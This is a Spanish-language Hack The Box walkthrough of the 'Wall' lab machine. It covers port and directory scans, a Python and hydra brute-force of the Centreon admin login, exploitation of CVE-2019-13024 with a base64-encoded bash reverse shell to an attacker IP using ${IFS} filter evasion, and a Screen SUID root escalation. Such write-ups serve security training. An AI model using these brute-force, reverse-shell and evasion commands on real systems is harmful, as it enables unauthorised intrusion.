This page looks best with JavaScript enabled

Hack The Box - Wall

 ·  ☕ 5 min read  ·  ✍️ sckull

Wall es una maquina de HackTheBox aqui encontrarás la solucion para obtener la flag user.txt y root.txt.

Informacion de la Maquina

Nombre Wall
OS Linux
Puntos 30
Dificultad Media
IP 10.10.10.157
Maker askar

MASSCAN & NMAP

Escaneo de puerto tcp/udp, en el cual nos muestra el puerto http (80) y el puerto de ssh (22) abierto.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
root@kali:~/htb/wall# masscan -p1-65535,U:1-65535 10.10.10.157 --rate=1000 -e tun0

Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2019-09-25 07:02:40 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on 10.10.10.157                                    
Discovered open port 80/tcp on 10.10.10.157

# Nmap 7.80 scan initiated Wed Sep 25 03:46:47 2019 as: nmap -p- --min-rate 1000 -o nmap.scan 10.10.10.157
Warning: 10.10.10.157 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.157
Host is up (0.19s latency).
Not shown: 65530 closed ports
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    open     http
32187/tcp filtered unknown
33879/tcp filtered unknown
48249/tcp filtered unknown

# Nmap done at Wed Sep 25 03:48:33 2019 -- 1 IP address (1 host up) scanned in 106.19 seconds

# Nmap 7.80 scan initiated Wed Sep 25 03:51:32 2019 as: nmap -sV -sC -p22,80 -o nmap_scan 10.10.10.157
Nmap scan report for 10.10.10.157
Host is up (0.24s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 2e:93:41:04:23:ed:30:50:8d:0d:58:23:de:7f:2c:15 (RSA)
|   256 4f:d5:d3:29:40:52:9e:62:58:36:11:06:72:85:1b:df (ECDSA)
|_  256 21:64:d0:c0:ff:1a:b4:29:0b:49:e1:11:81:b6:73:66 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep 25 03:51:50 2019 -- 1 IP address (1 host up) scanned in 18.00 seconds

HTTP - Puerto 80

La pagina web esta corriendo en un Apache/2.4.29.

image

HTTP - GOBUSTER

Gobuster nos muestra las siguientes rutas de la pagina web.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root@kali:~/htb/wall# gobuster dir -u http://10.10.10.157/ -w /usr/share/wordlists/dirb/common.txt -n -x php,txt,html -t 15
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.157/
[+] Threads:        15
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,txt,html
[+] No status:      true
[+] Timeout:        10s
===============================================================
2019/09/25 03:53:54 Starting gobuster
===============================================================
/aa.php
/index.html
/index.html
/monitoring
/panel.php
/server-status
===============================================================
2019/09/25 03:56:21 Finished
===============================================================

/aa.php

image

/monitoring

image

/panel.php

image

Realizamos nuevamente una busqueda con un diccionario diferente y encontramos las siguientes rutas.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@kali:~/htb/wall# gobuster dir -u http://10.10.10.157/ -w /usr/share/wordlists/subdscan.txt -n -x php,txt,html -t 15 -z
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.157/
[+] Threads:        15
[+] Wordlist:       /usr/share/wordlists/subdscan.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,txt,html
[+] No status:      true
[+] Timeout:        10s
===============================================================
2019/09/27 01:12:38 Starting gobuster
===============================================================
/aa.php
/centreon
/index.html
/monitoring
/panel.php
===============================================================
2019/09/27 01:17:42 Finished
===============================================================

Centreon - RCE

/centreon

Encontramos la plataforma de centreon de codigo abierto para el monitoreo de software o administracion de infraestructura en su version 19.04.0, al investigar un poco acerca de esta plataforma y su version vemos que existe una vulnerabilidad (CVE-2019-13024) en la plataforma que permite ejecutar codigo remoto (RCE). Para explotar esta vulnerabilidad necesitamos las credenciales de centreon.

image

API - Centreon

Utilizamos python para hacer un ataque de fuerza bruta contra la plataforma utilizando el diccionario rockyou.txt con la siguiente configuracion y utilizando la API de centreon.

Documentation Centreon - API

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/python
import requests
import json

filepath = '/usr/share/wordlists/rockyou.txt'
url = 'http://10.10.10.157/centreon/api/index.php?action=authenticate'

with open(filepath) as fp:
	line = fp.readline()
	while line:		
		password_r = '{"username":"admin", "password":"_pass_"}'.replace('_pass_', line.strip())
		data = json.loads(password_r)
		response = requests.post(url, data=data)
		result = response.json()
				
		if result == "Bad credentials":
			print("Password Incorrecta")
		elif result == "Bad parameters":
			print("Error en request")
		else:			
			print("User:Pass " + str(data["username"]+":"+str(data["password"])))			
			break
		line = fp.readline()

Encontramos la contraseña para el usuario admin:password1:

image

Hydra

Una manera mas facil y sencilla de hacerlo es con hydra:

1
hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 80 10.10.10.157 http-post-form "/centreon/api/index.php?action=authenticate:username=^USER^&password=^PASS^:Bad credentials"

image

RCE - Explotacion | Shell

Para explotar la vulnerabilidad de esta plataforma utilizamos el exploit Centreon RCE, al utilizar el exploit y pasarle las credenciales y la url no ejecuta comandos dentro de la maquina, para poder ejecutar comandos utilizamos base64 y shell evasion ya que no permite ejecutar comandos en texto plano.

Internal Variables

Primero codificamos nuestra shell inversa en base64 omitiendo los saltos de linea, luego creamos nuestro comando para ejecucion en la plataforma en donde cada espacio es ${IFS}, y se agrega de ultimo punto y coma (;) ya que la vulnerabilidad permite ejecutar comandos con ciertos parametros (-v /usr/local/centreon/filesGeneration/engine/1/centengine.DEBUG 2>&1) y agregamos esto ultimo para que no ejecute los parametros por default.

1
2
3
echo -n "bash -i >& /dev/tcp/10.10.14.145/7878 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNDUvNzg3OCAwPiYx
echo${IFS}-n${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNDUvNzg3OCAwPiYx${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash${IFS};

Agregamos el siguiente codigo por encima de payload_info:

1
payload_shell = str(repr("echo${IFS}-n${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNDUvNzg3OCAwPiYx${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash${IFS};")).strip("'") 

Y dentro de payload_info cambiamos:

1
2
3
"nagios_bin": "ncat -e /bin/bash {0} {1} #".format(ip, port),
por:
"nagios_bin": "{}".format(payload_shell),

Ejecutamos nuestro exploit los parametros de IP y Puerto no importan ya que hemos codificado nuestra shell inversa:

image

Obtenemos una shell como usuario www-data:

image

Privilege Escalation

Como en cualquier maquina realizamos una enumeracion de archivos y binarios que puedan ayudarnos a escalar privilegios a otro usuario en este caso fue distinto ya que la maquina contenia un binario vulnerable que permitia escalar privilegios de administracion.

SUID - Screen 4.5.0

image

Trasladamos y ejecutamos el exploit en la maquina y obtenemos una shell con el usuario root y las flags user.txt y root.txt.

image

Share on

sckull
WRITTEN BY
sckull
Pentester wannabe

HTB: Wall